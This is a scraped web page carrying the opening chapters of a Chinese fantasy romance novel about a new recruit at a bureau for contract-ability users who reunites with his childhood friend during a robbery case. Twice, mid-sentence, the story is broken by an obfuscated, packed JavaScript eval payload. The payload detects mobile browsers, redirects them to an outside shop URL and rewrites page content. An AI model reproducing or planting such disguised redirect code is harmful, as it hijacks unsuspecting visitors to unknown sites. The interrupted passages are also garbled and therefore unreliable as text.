《原来我才是小丑》 1. 重逢&银行打劫案 相越和希,是一个刚毕业的大学生。 假期结束后,他就要正式开始工作,成为新宫市契约者管理科的一员。 但这些都不重要,重要的是,要在那里与七年一直没见的那人重逢了。 到了新的地方安置好住房,紧张的他几天都难以安眠。为求安心,特意起了个大早,在上班之前到教会祈求女神的祝福。 平日不用人挤人,相越很轻松地就走到了女神像前。 他不信神,也没留意女神圣洁的容貌。只是默默闭上眼睛,脑海里浮现起那人的长相,微微笑了,才在女神雕像下双手合十,祈求能与最重要的那人一同度过平平安安的一年。 直到太阳升起,头顶上传来炫目的彩光,刺得他睁开了眼睛。顺着彩光看去,是歌颂女神砍伐吸血鬼的彩绘玻璃。 这是这个世界所有人都知道的故事——女神打败了入侵人类世界的怪物,吸血鬼。他们有着红眼,喜爱吸食血液,能够使用强力的魔法。 此后,为了避免这种事情再度发生,人类获得了女神的赐予,可以获得特殊能力的契约。 数百年过去,人类使用能力,已经不是什么稀奇古怪的事情了。 相越看着这些彩绘,想到了他的女神,心里踏实多了,便马上前往上班地点。 走出电梯,一眼就能穿过磨砂玻璃看到办公地点,隐隐约约能看到有几个人头。 看到某个有着黑色短发的人影,相越就忍不住地高兴。虽然已经七年没见了,但她还是一如既往地耀眼,只需一眼,目光就不禁追着她跑。 如此想着,相越加快了脚步,跑到门前,轻轻敲门。 很快,一个眯眯眼、穿着邋遢西装的男子把他带了进去。 这个男子相越认得,是面试时的考官,也是这个新宫市契约者管理科的局长。 当时局长说着各种戳心的话,相越根本无法反驳。这让他认为自己不会被录用,无法与她重逢,心里有些失落。 眼看面试的十分钟快要结束,相越已经陷入沉默,反思自己的过失,思考下次面试时自己该怎么做。 这是他唯一一个清晰记得的画面——局长眯着双眼,默默地注视着相越,仿佛把他所思所想全都看破,问道:“你想知道七年前的真相吗?能负起责任保护自己吗?” 心中有着许多的疑问,但这个问题的答案根本不用想。相越就是为了知道七年前的真相,以及和那个人重逢,才会到这里来的。他立即点了点头。 随后,相越就被打发出去,次日就收到了录取的通知。 正是因为面试时局长过于有压迫感的表现,让相越记住了他的容貌。不过名字已经忘了。毕竟其他人的名字什么的根本无所谓,只要记得最重要的人就好。 只要想到那个人,相越的心跳不由得加快、加重。脚步也变得凌乱起来,分不清到底是心脏的声音还是脚下传来的声音,神智恍惚。 同时,这些紧张感让他维持住最后一丝清明,得以清醒,以最好的姿态直面那个人。 终于,局长把相越领到众人面前,他才能直面那副熟悉而又陌生的面孔。 只需一眼,便愣住了。 “这位是新来的相越和希,他不是——” “直酱,好久不见,我终于见到你了!” 无视局长的介绍,相越一个箭步冲到除了正副局长以外唯一一个在场的同事面前,喜极而泣。 他眯起双眼,强忍着快要掉下来的眼泪,紧盯着眼前即将成为同事的女性,喊出了七年未喊过的称呼。 面对眼前感动的重逢场景,这位女性同事转过头。白色的布制口罩挡住了大半张脸,充满陌生感的红色眼瞳没有注视着对方,而白手套则握紧了拳头。她苦笑着说:“……那个,抱歉,你认错人了吧。” “哈?”听见这话,相越铁青了脸,目瞪口呆。感觉自己多年的期待化为泡影,在众人的目光下成了个供人取笑的小丑。 —— “这就是你的工位,还有工作指导册子。好好熟悉里面的内容。没什么事的话,就别来找我了。”副局冷着脸把相越带到工位后,留下这句话就转头离开了。 这也没办法。 局长的话被打断后,他没有叫停,而是拜托副局带相越,自顾自回去办公室睡觉去了。 被拜托的副局叹了口气,心道他又把事情压到自己身上。 本就很烦,就不小心迁怒到相越身上了。 这就是指导新人的全过程。 未免也太短了,只有简单的两句话。如果是正常人的话,可能会感到有些疑惑,并会因看上去凶狠、带着单眼眼罩、似乎有什么故事的上司,而对未来的职场开始感到担忧了吧。 但相越只是整个人瘫在椅子上,点了点头,整个人是悠闲惬意的模样。他的视线从对面无人的工位中移开,缓缓地打开小册子。第一页就是几个大字,写着契约者需要遵守的几条规则以及后果。 四年来专业成绩一直第一、最终首席毕业的他,早就知道这本小册子,把它们背得滚瓜烂熟了。 相越一眼没看,随手把小册子甩到一边,继续沉浸在自己的情绪里。 没错,他确实有担忧的事情,但那并不是关于职场的事情,而是刚才那名女性的事情。 一回想起刚才那名女性因为被自己搭话而避开自己的事实,相越就陷入绝望之中:“……直酱不认得我了……” “工作时请保持安静,你连这个也不懂吗?小册子看完了吗?虽然你是新人,但不代表不用出外勤……” “真是的,那家伙。天天给老娘搞些烂摊子。要不是工资高,老娘早就甩手不干了。好烦!” 相越刚开始唠叨,后方就传来副局骂人的声音和暴躁的开门声。 “打扰到你非常抱歉。我已经看过并熟知里面的内容了,副局。”眼看着副局要从办公室跑过来教训自己,相越立马站起身。但身体倾斜,脸上还残留着哭泣的痕迹,眼睛红肿,非常滑稽。 “大男人天天哭哭唧唧的,出外勤的时候你该怎么办啊?光想想就头大。”副局快步走到相越面前,扶着头对相越这幅貌似某人的邋遢模样极度抓狂。 “对不起,我错了,副局。但一直这样埋怨的话,可能就会发生你不希望出现的事情——也就是立flag。所以不要再这样说了吧。”相越面对来自上司的责骂,只是露出一个微笑,随口吐出一句道歉的话语。此后便开始挑刺上司,态度嚣张至极。 事实上,平时的话,他不会对此说什么的。只是心情实在太差,就暴露了自己的戾气。 虽然说完相越就开始后悔了,但转念一想,他就发现自己说的是事实。而且听闻在这些地方很在意玄学,说不定看在自己的劝告的份上,会放自己一马。 如果没有的话,那就没办法了。他耸耸肩,暗想:反正直酱不记得自己的现在,一切都已经没有意义。只是因为责任感驱使,他才在这里继续做着应做的事情。 副局听到相越的话后,瞪大眼睛,暗啧一声:“你说得对。知道就好,继续复习手册,这就是你今天的任务!” 相越没想到她这么轻易就接受了,不过还是摆了摆手,坐下。 说完后副局便扬长而去。只是还没回到办公室,便有突发情况发生。 “哔哔哔!” 霎时间警铃声四起。 警铃声响起时,就代表外面发生了案件,这时候就需要人员出外勤处理。 一瞬间,副局直起歪斜的身子,拿起藏在衣服里的武器。刚刚还浑身充满着颓丧之气,片刻便换上凌厉的气势。她拿起响个不停的电话,换上一副笑脸,边完成所需的流程,边拽起相越向外走去。 完成流程后,表情瞬间变得颓废,埋怨道:“啧!麻烦死了。又要出去。” 话落就瞥了相越一眼,暗指是他立的flag。 面对副局的视线,他心道:明明是副局你乌鸦嘴才会如此倒霉,绝不是自己倒霉。如此想着,他叹了口气。 在相越叹气的片刻,副局嘴上还是唠叨个不停,身体却一刻都不停歇。她趁机一把拽起相越走向停车场。 “请问我需要做什么?”相越像被抓住的猎物一样被拽着向前走。事情发生得太突然,他还没来得及准备,两手空空。 “你只要不给我拖后腿就可以了。乖乖在一旁待着,上车!” 副局显然对他这个初来乍到的新人不抱有任何期待,言语中暗示相越——让他看着她演示,在一旁学习就好。 但副局上了车后,打开导航发现驾车到达指定地点所需的时间不短,便稍微冷静下来,决定给相越一点简单的任务。于是她把一个平板扔给相越,简单交代了一下:“这次是爆炸抢劫案。你看一下这些资料,有哪些是有可能犯案的。” 随后副局大力踏上油门,车子立刻高速冲了出去。 相越因刚才被拽着走,还被人瞧不起,感到有点不满。但他能分得清轻重缓急,又暗叹一声,便撤下散漫的态度,快速扣上安全带,接过平板后快速阅读资料。资料上是契约者的姓名、年龄、能力,和一些简单的背景介绍。 只是他每阅读完一个人物,就会总结出重点,一个一个地读出来向副局汇报:“第一位,大嶋純夫,年龄二十七,身高一百八十五,身材壮硕,皮肤黄黑。喜好是品尝美食。曾多次报考X大医科落榜。一个月前,母亲重病。数日后,成为契约者,能力是爆炸,印记刻在右手,主人是母亲……” 这是副局没有要求的动作,因此她对这个相越有点改观。 其实在相越刚入职的时候,看到他不顾其他人,径直跑去搭讪在场除自己外唯一一个女性同事时,副局只觉得他是一个没有脑子、脑子里只有花的蠢蛋。 但现在看来,可能他并不像刚刚表露出来的那么没脑子,还是会思考的。 她瞥了相越一眼。只是相越完全没注意到她的眼神,全神贯注地报告可疑对象。 对此,副局哼了一声,扭过头继续驾驶,此后一个眼神再也没有分给他。但是每念完一个,副局便会回应:“我明白了,下一个。” 然后相越会接着报告下一个可疑对象:“下一位……” —— 汽车一路无视红绿灯,横冲直撞,最后停在一个地方。 “砰!!!” “砰!!!” “砰!!!” 爆炸声由模糊到清晰,越发接近两人,最后全身都能感受到异常的高温,久久不散。 看来外面发生了爆炸事件。 “已经到了,下车!”副局连忙催促相越下车。 “明白!”相越应答后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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确保两人站在一个安全的地方,且分身能够观察到现场状况后,她又变出一个分身,摸出一把手枪,站在不起眼处,调好角度,连射几发偷袭对方。 “砰!砰!砰!” 直接击中目标。还没等目标反应过来,第二个分身快速靠近,使出擒拿技控制住对方,而剩下的分身则加重力度,使其失去行动能力。 “任务完成,把他送到监狱部门吧……”副局用分身把犯人运到出口,正打算回到车上时,相越发现犯人的拳头还紧紧握着,总感觉有些不好的预感。 下一秒,就见犯人的拇指松开,微微颤颤地与无名指圈成了一个圆形。相越立马明白过来——犯人意图用最后的气力炸死他们,趁机逃走。 于是相越一把向前扑向还在集中精力指挥分身、没留意到犯人动作的副局。 两人瞬间倒向前方,跌落到靠近犯人以及分身的位置。 “你在干什么?” 副局重新睁开双眼,所有分身消散。但还没完全摆出愤怒的表情,就被眼前的景象吓到了。 相越的背后是一片橙色,浓重的烟雾飘向上空,刺激着鼻腔。副局盖上口鼻,知道自己这是被相越救了。如果刚才相越没有扑过来的话,两人早就化成灰了吧。 对此,副局也不再别扭,心中对相越的不满全都消散,诚恳地表示感谢:“被你救了啊,新人。谢谢了,干得不错。” 同时,副局侧过身自己爬起来,顺带把相越也拽了起来。随后再次闭上双眼,观察四周的状况。 没有再次爆炸的迹象,犯人也维持在原地没有动,看上去彻底失去了意识。只是他的双手被人斩断,浸在血水之中。旁边还多了一位突然出现的身影——染血的白手套拨开迷雾,从犯人身后快步走向两人面前。 身影被浓重烟雾所掩盖,不能辨别来人是谁。尽管帮助了他们,副局还是心有余悸,绷紧了脸色,警告相越:“新人,不知道是谁,保持警惕!” 与副局相反,相越一看到来人就露出了喜悦的神情,惊呼道:“直酱!” 谜之人物跨过烟雾终于走到两人面前,果然是被相越称呼为“直酱”、名为今长谷直生的女性同事。 她右手拿着长刀,左手拖拽着已经失去意识的犯人,用染血的白手套拨开迷雾,走到两人面前。 先是瞥了几眼相越,才报告说:“请你放心,副局长。犯人已经彻底失去意识,同时也暂时无法产生爆炸了。我这就把他送上车了,现在准备陪他到医院。” 话落,便侧身离开。 “等一下,我们也去。” 副局立即跟上她。她没回头,随便应了一声:“嗯。” 刚才还没搞明白状况的相越这才回过神,也紧随其后。 几人上了车,副局便弯下腰对今长谷道谢:“谢谢你,不然新人上班第一天就要殉职了。” “请不要道谢,这是我的本职工作。”她摇了摇头。 “话说回来,今长谷你怎么会在这里?” “……碰巧发现有可疑的能量波动,所以跑来看看。没想到真的出现了事故。幸好来了。”今长谷顿了一下,叹了口气,表示安心。 “是呢……”副局点点头表示同意。 “真的吗,直酱?”留意到今长谷解释前微妙的停顿,相越在两人讨论时突兀地插嘴,径直望向今长谷。 也许是他的目光过于灼热,今长谷的脸有点热。她偏过头:“是的。还有,请不要称呼我为直酱……” “那我应该叫什么?”相越继续追问。 “……” “你们两个,给我专注一点!”副局的怒吼声吓得两人虎躯一震,直起了身子。 “好!”两人同时回应,暂时把个人情绪抛开,继续专注眼前的任务。 2. 银行打劫案(完) 几人到达医院后,便到走廊等待犯人完成手术,享受休息的时间,同时监视犯人。 仅仅只有一人,也就是今长谷,一到达医院,就又离开了。相越偷偷跟上,但眼看她对工作人员交代了什么,神情认真,似是在讨论工作上的事情。 他也不好打扰,便泄了气,乖乖回到走廊,等待犯人苏醒和今长谷的回归。 相越实在是无事可做,开始放空自己,靠与今长谷过去的回忆打发时间。 七年过去,她真是完全没变啊。 还是长得那么可爱,那么爱害羞,不擅长撒谎。 不对,还是有变化的。 可以说是变化吗? 仿佛度过了相当漫长的时间,今长谷终于回到众人的身边,身后是昏睡着的犯人大嶋,以及从局里来的、打着瞌睡的局长。 医护人员把犯人带进房间后,几人也跟了进去。 又是一阵静默,眼看无事可做,相越又想和今长谷搭话。 “直酱……” 相越还没说完,大嶋就缓缓睁开眼睛。瞬间,包括今长谷在内的几人被转移了注意力,无视了他。 相越无奈,只能也把注意力转移到犯人身上,只是还带了一点不满。 大嶋刚睡醒还有点懵,当意识恢复清明时,一看到今长谷,便吓得瞪大双眼,立马挣扎着想要站起来。 未果。他举起右手,想要打响指牵动身体里的能量发动能力,却发现自己已经失去了右手,无法使用能力。 他一个月前才获得能力,还不太熟练,需要打响指才能发动。 但只是一个简单的举手,现在都无法顺利完成,使得他的心情非常暴躁。 再加上在身体里压抑许久的能量开始涌动,一直对这具身体发泄,令身体热烫非常,就更加烦躁了。 与此同时,今长谷拔刀抵到大嶋的脖颈上,低声威胁道:“请不要有进一步的动作,不然——” 脖颈上传来一阵冷意,宛如下一刻就会人头落地。大嶋读懂了这个女人的无言之语。 想起她手起刀落,先把自己双手斩断,再敲晕的场景。 恐惧充斥着全身,还有发不出能力的焦虑感混合在一起,成了惊恐。大嶋挣扎得更厉害了,拼命在脑海中不断尝试发动能力,却仍然没有作用,只是让身体变得更难受了。 为了反向威胁对方,他只能假装自己还能使用:“那我就和你们同归于尽!” “如果你真的能使用能力的话,你当然可以试试。不过你的母亲好像就在旁边的病房,这也没关系吗?大嶋先生?”局长识穿对方的谎言,露出阴险的笑容,反向威胁对方。 这句话无疑戳中了大嶋的软肋——他的母亲是他的主人,主人死亡,契约者的他也会死亡。 他无计可施,只能停下动作。心脏猛烈地跳动,跳得又快又急,身体急需更多的氧气。于是他停下动作后,就开始大口大口喘气。短短时间内,就已经大汗淋漓。 待身体渐渐平息,他才低声道:“切,太卑鄙了。” 局长对此只是冷笑着反问对方:“你用自己的生命,还有我们的生命威胁我们。我只不过是用你母亲的生命威胁你而已。同样都是用生命去威胁人,这就卑鄙了?还是说我们几个人的性命没你母亲的性命重要?” 对此,大嶋紧抿着嘴,低下了头,沉默不语。 “啧,你这家伙就是爱贫一下嘴。让你嘴贱,看看大嶋桑都被你搞无语了。蠢货!”副局一巴掌扇到局长的头顶,把他打得低下了头。 随后就转过头,面向大嶋问道:“如果我说,只要你老实接受刑罚,我们会让你母亲接受最好的治疗呢?” 又提到母亲二字,大嶋再次激动起来,环视四周,尤其是某个令他失去双手的罪魁祸首。他尖叫着:“我不相信!” “请你放心,这是有法律规定的。” “这是真的。当自己的直系亲属无人在世,或因事入狱,政府便会根据情况,对他提供经济援助。” 今长谷和相越同时发言,试图说服他。或许是今长谷第一次在他面前没有流露出杀气,并且两人的表情平静,气场又过于强大,看上去颇具说服力。 大嶋一时被震得无言,原本涌动着的气焰被冷却。他愣了愣,想到了什么,转过头看向相越,把球抛给了他。 “为什么你知道这是真的?” “高中的时候我所有的亲人都离开了,那时的学费是国家资助的。但上了大学后,国家就不再资助我学费,而是改为借给我了。为了还学费,我过了一段每天只能吃豆芽菜加饭、打工的拮据日子。” “现在顺利毕业,今天才刚入职契约者管理科,哈哈……”相越尬笑着,向众人揭露了自己一部分的过往。 其实身为工作人员,相越是不能把自己的私事告诉犯人的。他绝不是因为是新人、不知道才犯下这个错误,而是明知故犯。 刚才这个犯人叫嚣着要炸死今长谷,相越心中就慌得不行。确实,今长谷说过对方已经无法使用能力了,但万一呢?万一他还能使出能力,那该怎么办?自己不在了还好,今长谷不在了…… 想到七年前自己被带走,过了几年收养自己的外婆也离开了,只剩下自己的孤独日子。 只要想到这里,相越心中就止不住地绝望。 所以在看到大嶋有在意的人时,相越就明白了。大嶋和自己一样,都是为了在意的人能付出所有的事物,哪怕伤害别人也好。 这对相越来说,很正常,他不会阻止。 但伤害的人是自己在乎的人时,那就无论如何都要阻止他了。所以才会在这里说出自己的事。 而且你看,今长谷这不就掩盖不住对自己的关心了吗?果然她没有变过,还是像以前那样,很不擅长说谎。 “这样啊,你也很辛苦呢……” “你外婆已经走了吗?” 正如相越所想,听到这话后,今长谷激动得站起来质问相越,甚至打断了大嶋。 “是的,在高中的时候离开了,之后就只剩下我了。父母则是在初中的时候离开的。” “怎么会……这样?” 相越一脸平静地回答今长谷,而今长谷则是一脸无法置信的样子。 “对他的悲惨身世我也很震惊,但还是继续聊大嶋的处置吧。所以大嶋,你会进狱吗?”副局打断两人那诡异的气氛,公事公办地询问道。 今长谷低着头闭口不言,相越则是尴尬地笑笑,但内心却很高兴:“抱歉。” 相越道歉过后,一切如常,众人继续流程。 大嶋深吸一口气:“明白了,可以让我先和母亲见一面吗?” “当然可以,在你可以出院后就安排一次会面吧。不过谈话后就要立即进狱,这可以吗?”副局再三确认。 “嗯,但不可以把我进狱的事情告诉母亲。请和她说我去大城市学习了,很难回来吧。”大嶋点点头。 “明白了,会安排妥当的。不过这样可以吗?谎言总有一天会被戳破的。”局长别有深意地看着大嶋和沉默的今长谷,再给一次机会,让他仔细考虑。 同时,相越也低头看着今长谷,不知道在想着什么。 “那时候就说我出意外死了吧。比起儿子成为犯罪者要好多了。趁这几天还没进去,我要尽情大吃大喝。快点走,我要点之前从来不敢点的奢侈食物,尽情吃个够,哈哈哈……”大嶋大笑着,挥手想把众人赶出门。 原本还在想些什么的相越被吓得一愣,看了看今长谷后,也跟着她离开了。原本狭窄的房间瞬间变得空荡荡,只剩下副局和大嶋。 副局苦着脸叮嘱大嶋:“还有三天,专门的契约者就会过来帮你治疗,你就趁这段时间好好享受吧。” “你怎么还在啊?我不是说我要吃饭吗?”大嶋挥手挥得更用力了,拼命赶他走。 “我也想走啊!但监狱科的同事还没来,所以我才得继续监视你啊!还有刚才说的那个事情,我也要一一安排好。真是的,天天把烂摊子扔给老娘,麻烦死了!”副局避开他乱甩的手,回答道。 “哈哈哈,别那么气了,我也点一份外卖给你吧,妹子。” “不用了,公职人员不能接受贿赂。他们到了,我会和他们商量,你在一旁听着。有异议的话,随时提出。”副局铁面无私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496097|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拒绝了,并停止埋怨的话语,打开大门,让他们进来。 “谢谢你们,接下来就交给我们吧。” “还有一些事情需要商讨。” “好的,请说。” —— “大嶋死了。吃完饭后就死了。”局长坐在办公室,平静地对着怨气发散、脸黑如铁炭的今长谷说道。 她听到这句话,瞪大双眼,低头不语。 “其实大嶋早就知道自己进监狱,母亲就会得到国家的援助吧。” “可能是吧。”今长谷面色复杂,随意应道,等待上司的下一句话。 在几人回到局后,局长就把今长谷单独传唤到办公室与自己谈话,才造就了两人单独会面的场面。 莫名其妙加班谈话,很难有人会不脸黑。 只是对今长谷来说,并不单纯是这个原因,更多的是因为今天猝不及防出现的相越,因此她一整天的心情都不太好。 “而且还是因为违反契约规则而死,这下子大嶋母亲获得的赔偿也就更多了吧。”局长没有在意今长谷的不满,慢悠悠地打了个呵欠,戏谑地笑问一句。 “可能是吧,你说的有一定的道理。难道就因为这样,你就打算毁约了吗?”今长谷依旧敷衍道,只是学着对方,反讽回去。 “哈哈哈,当然不会。只是这种自我牺牲的做法,你不觉得很熟吗?”局长嗤笑着,现在才直视被自己单独喊来的今长谷。 “……你想表达什么?”面对对方不正经的态度,今长谷失去了耐性,自己一直压抑的情绪显露了一角,皱起了眉头。 她知道对方单独喊自己来谈话,肯定不是只为了谈犯人的事情。如果要谈,也应该找新人和副局才对,而不是自己。很明显是有别的,比如说那个新人的事情,想和自己讨论。 再也等不下去的今长谷,不等待局长主动开口,直截了当地反问回去,想要同时得知两个问题的答案。 “没什么。你不觉得自己的事情就应该自己去面对吗?新人也是如此。当年父母死亡的真相,他也应该参与到搜查里,不是吗?”局长耸耸肩,避而不答,把眼神移开,似乎是有点心虚。但只是一瞬,下一瞬又瞪过去,反问今长谷。 就如大嶋被戳中软肋般,这番话也刺激到今长谷的神经。她激动起来:“他不是契约者,没有能力。” “我也不是。契约者又能代表什么呢?有能力?还是说你不相信的是他这个人?”局长收起笑容,格外严肃。 “……怎么可能?”今长谷被说中了心事,气势弱了起来,微弱地反驳道。 “那不就行了。就这样吧。虽然你刚刚逃走了,但我还是要再说一次。新人,也就是相越,就交给你了,你和他做搭档吧。”局长单方面委托后,就挥挥手示意今长谷离开。 “……我明白了。”今长谷呆愣许久,才动起来,背过身去,像是立下了什么很重要的决定。 而在背后的局长也是。 他转过身,对着落地窗轻声呢喃:“我也有脸说这种话吗?不过就算这样,我还是要做……” —— 四天后。 “最后大嶋先生怎么样了?”相越靠着椅背,望着上空,显然一副闲得不行的样子。他搬出大嶋先生这个两人共同的话题,想与今长谷拉近距离。 “抱歉,我也不知道。很快局长他们就回来了。或者你可以问他们?”今长谷坐在相越对面的工位上,刷着手机,也是一副闲得不行的样子。 只是如此闲的她,却没空把视线从手机上移开,到相越那儿去。 “好吧。不过什么时候有工作?好无聊啊。”这些天来,已经被拒绝多次、习惯了的相越转动起椅子,感叹道。 “请你安静……” 似乎戳到今长谷的雷点了,冷冽的声音高了一个度,一反常态地激动起来。但还没说完,就传出大门移动的声音,随之而来的还有另一道高亢的女声。 “我回来啦!今长谷,你在干什么?” “?”相越一脸懵逼。 空气安静了两秒。 “切!”瞧见来人,今长谷一向板着的脸,黑了。 3. 煤气爆炸案(一) “我回来啦!今长谷,你在干什么?” 来人是一个粉发赤瞳、没有穿着制服而是浅粉色洛丽塔甜系长裙、用同色丝带绑着双马尾的娇小女性。 本就年幼的外表,再配合上略显夸张的装扮,仿佛童话里走出来的公主,非常可爱。 但从她能自由进出局内的设施,还有对今长谷熟络的态度来看,很明显她也是契约者管理科的一员。 “切,欢迎回来。这是新人相越和希,同时也是……”今长谷看到来人,不知为何开始扶着额。 她叹了口气,随即就恢复状态,打算向来人介绍新人相越,但还没介绍完又被人打断了。 女子无视今长谷,径直走向一脸懵逼的相越,抬起他的下巴近距离观察,用力挤压他的脸。 怎么回事?连直酱都叹气无语的人物到底是谁? 他拼命挣扎,但女子力气巨大,无法解脱。他最后只能念念有词,像一个在水缸里垂死挣扎、吐着气泡的金鱼,令人不禁发笑。 “这家伙就是新人吗?看着也不怎么样呀?”女子看到相越这滑稽的模样,眼神越发鄙视起来,挤压的力道也更大了。 被这样一搞,相越觉得自己已经站在死神面前了,隐约有窒息的感觉。 “你给我住手!”原本,看到女子进来,今长谷视线还是没分给她一个。 但事态忽然发展成这样,她猛地抛下手机。不顾正面掉在地上的手机,站起来直接拽开女子的手,分开两人。 “这么激动,看来这小子对你来说很重要啊。”粉发女子顺势退后了一步,捏着下巴观察两人,似在看好戏,态度非常恶劣。 “我对你来说很重要吗?前辈?”其实这个问题根本不需要问出来,从刚才今长谷的行动中早就窥见一切。只是相越很想听今长谷亲口说出来,这才用灼热的目光看向今长谷,插嘴问道。 “咕……我不知道啊!局长快回来了,我先去找他们了。”今长谷一直被相越紧盯住,不知不觉便脸红耳赤。她没有反驳相越,想起局长快回来,便用这个借口出去迎接他们。 “啊啦,直接落荒而逃了。看来你这小子对今长谷来说,真的不一样。挺有趣。”见此,粉发女子咧嘴笑了起来,直接揭穿了今长谷逃走的事实。 相越则是被今长谷这突然的动作吓得一愣,此后也跟着笑了起来。一时之间,空气中充满了欢乐的气氛。 两人对视笑着,过了一段时间,就有一名身着西装的清瘦男子挤到两人中间,喘着大气说:“大小姐,你跑得太快了。请让我喘口气。哈——哈——” 男子边喘着大气,边转过身,朝着相越鞠了一躬,伸出右手说道:“非常抱歉,相越先生,我家大小姐给你添麻烦了。大小姐名为新宫真理子,是这座城市的地主,新宫家的独女。” “而我则是地井学,是大小姐的执事。我们两人都是契约者管理科的成员,今后请你多多指教。不过我是外编人员,只负责技术上的问题,大部分时间都不在这里,所以你以后可能会比较少见到我。如果有技术上的问题需要协助,随时可以找我。” 明明喘不过气来,却能一口气说出一大串话,可见这段台词他早已熟记于心,不需要思考就能直接说出口。 这位大小姐也不是第一次这么刁蛮了。 与其他人相比,地井看上去就很正常,完全没有攻击性,气质温和。想到自己和他也是在暴躁的人中生存着的普通人,相越多了份亲近感。 “你好,我是相越和希,今天是我刚上任的第四天,请多指教。”但也仅仅只是亲近感,他不会特意做什么,只是简单地回握住地井的手,用营业笑向他打招呼。 “你这小子还不快向本小姐报告这几天都发生了什么吗?”新宫眉头一皱,移开挡在两人之间的地井后,对着相越命令道。 “请问这是工作需要吗?如果是工作上的话,我上任的第一天,也就是四天前发生了一起银行抢劫案,不过已经由副局和前辈解决了。所以请不用担心。”刚才还因今长谷的逃跑相处良好的两人,又因新宫骄横的态度结下了梁子。相越笑着回怼对方,还把这几天发生的事情向她汇报了,可谓是情理都没有过失。 就算如此,嚣张跋扈的大小姐才不会管什么情理,她只想知道她好奇的事情,于是不屈不挠地继续追问:“才不是,你个蠢货!我是在问你,你对今长谷做了什么?她平时不是这样的。” “……嘻嘻,看来我不得不说了啊。”提到相越在意的事情——也就是今长谷,也仅仅只有她——刚刚还保持着商业假笑的他,笑容都变得生动起来,随后似乎是想到了什么,发出了可疑的笑声。 —— 事情要回到今天早上,相越特意起了个大早。 一出门就见到了一副熟悉的面孔。今长谷刚从对门出来,正在上锁。 看到对面的人,相越立马笑得像个二傻子似的。激动之下,跑到对门,拍了一下对方的肩膀,搭话道:“早上好,直酱。” 对方的肩膀忽然抖了一下,睁大双眼,显然吓得不轻。 直到她抬起头,看到傻傻笑着的相越,愣了几秒才放下肩膀,安心地呼了口气,回复道:“早上好,新人。” “直酱,现在是要上班吗?吃过早饭了吗?一起去吃?”相越就像前几天什么尴尬事都没发生过,云淡风轻地向今长谷邀约道。 对此,今长谷只是轻笑着,回绝了对方的邀约,同时提出了不要叫她昵称的要求:“是的,现在正在上班的路上。早饭的话已经吃过了,所以谢谢你的邀约,但还是请恕我拒绝。还有,请不要叫我直酱,其他的称呼就好。” 这段话一出,相越的脑海中浮现出相似的回忆。 “嗯,我以后可以叫你直酱吗?”当时还年幼的相越,用着阳光的笑容询问。 现在也是同样,他用着最灿烂的笑容向其问道:“那我应该怎么叫你啊?” 相越从小就一直称呼她为直酱,一时之间不知道用其他别的什么称呼来呼唤对方。 与那时一样,对方似乎也愣了愣,斟酌过后,才红着脸回复:“前辈吧,我大概三年前入职。” 反应和那时一样的可爱,只是缺了点笑容。 相越在今长谷的事上一向都很有毅力,他又邀约:“好的,前辈。那既然我们住得这么近,今晚要一起吃饭吗?” 两人本来并行走着,正巧马路对面的红绿灯一闪一闪的绿光消失,红光亮起。相越猛地停下脚步,正对着今长谷。 今长谷也停下脚步,如同对面的红绿灯,拒绝来客。她认真答复相越:“谢谢你的邀约,但恐怕今晚是不行了。” “为什么?”相越瞪大双眼,不敢置信的样子。 “你没看新闻吗?” “?” 看到对方满脸问号的模样,今长谷的眉头微微皱起,而后补充道:“最近很多煤气爆炸案发生。如果只有一两起,那也没什么。但很多起发生就很可疑了,所以最近可能要加班。吃饭的话,留到下次吧。” —— “就是这样,我们是邻居,而且今天前辈答应和我吃饭了。”提到早上发生的事情,相越扬起的嘴角就没下来过。 与之相对,大小姐两人听到相越两人之间发生的事情后,则是一脸“就这?”的不屑表情。 “你是舔狗吗?这样也开心?不对,这里面有你们两个熟络起来的内容吗?”新宫更是开始吐槽起来。 被说舔狗,相越完全没有感觉被冒犯,只是更自信了:“我和前辈本来就很熟啊,我们是青梅竹马。” 闻言,两人目瞪口呆。 “我从来没听今长谷说过她有青梅竹马呀!你该不会是吹的吧,你小子!”新宫一把拽住相越的衣领。 “才不是,我俩从小就是邻居,一起长大。不过我大概十四岁的时候回乡了,所以现在才疏远了一点。一点而已,等于没有,所以还是很熟。” 突然被人多次以暴力对待,如果是平时的话,相越早就生气并还手了。 但就是因为对方,才能令自己看到平时被今长谷隐藏起来的、在意自己的一面。所以他才无所谓,甚至还有点想笑,感谢对方的暴力行为。 “竟然是这样。不过今长谷确实很少提起她的事情,我们不知道也是正常的。但……”地井听了这看似解释实则是炫耀的话后,没有任何神色变化,只是默默地看向新宫。他扶着下巴,缓缓地分析今长谷的行为,说到一半面露犹豫之色停了下来。 “但你们怎么看也不熟,不如说只有你一头热不停地凑过去。该不会那家伙已经把你忘了吧?”新宫才不会在乎什么情面,她直接就把地井未言之语说了出来。 说完这话,骄横的大小姐还是流露了一丝不忍,随之放下了相越的衣领。相越叹了口气,只觉对方是嫉妒自己了。他抬起手缓缓地整理衣服,试图澄清:“并没有,她只是别扭了。” “真的吗?”两人同时质疑道。 “是的,她只要害羞就会逃跑这点,和以前一模一样。真的,她太不擅长说谎了。”相越回忆起这几天以来发生的事,今长谷一直都在撒些一看就知道是假的谎言,也就只有一开始见面时的自己才会相信吧。如此想着,他含笑对两人说道。 “……” 两人都沉默了。 良久,新宫才吐出了一句话:“你这小子不知怎的,真可怕。该不会你也是故意住在今长谷对面的吧?哈哈哈,这只是开玩笑……” “你怎么知道的?”相越诧异地瞪大双眼,他觉得自己刚才向两人赘述的回忆中,没有任何会暴露的痕迹。 相越觉得自己特意住进今长谷家对面这件事没什么值得隐瞒的。只是因为和相越说地址的人,吩咐相越不能把这件事暴露给任何人。 就算知道了,也不能让别人知道是谁告诉相越的,他这才没和其他人说,尤其今长谷。 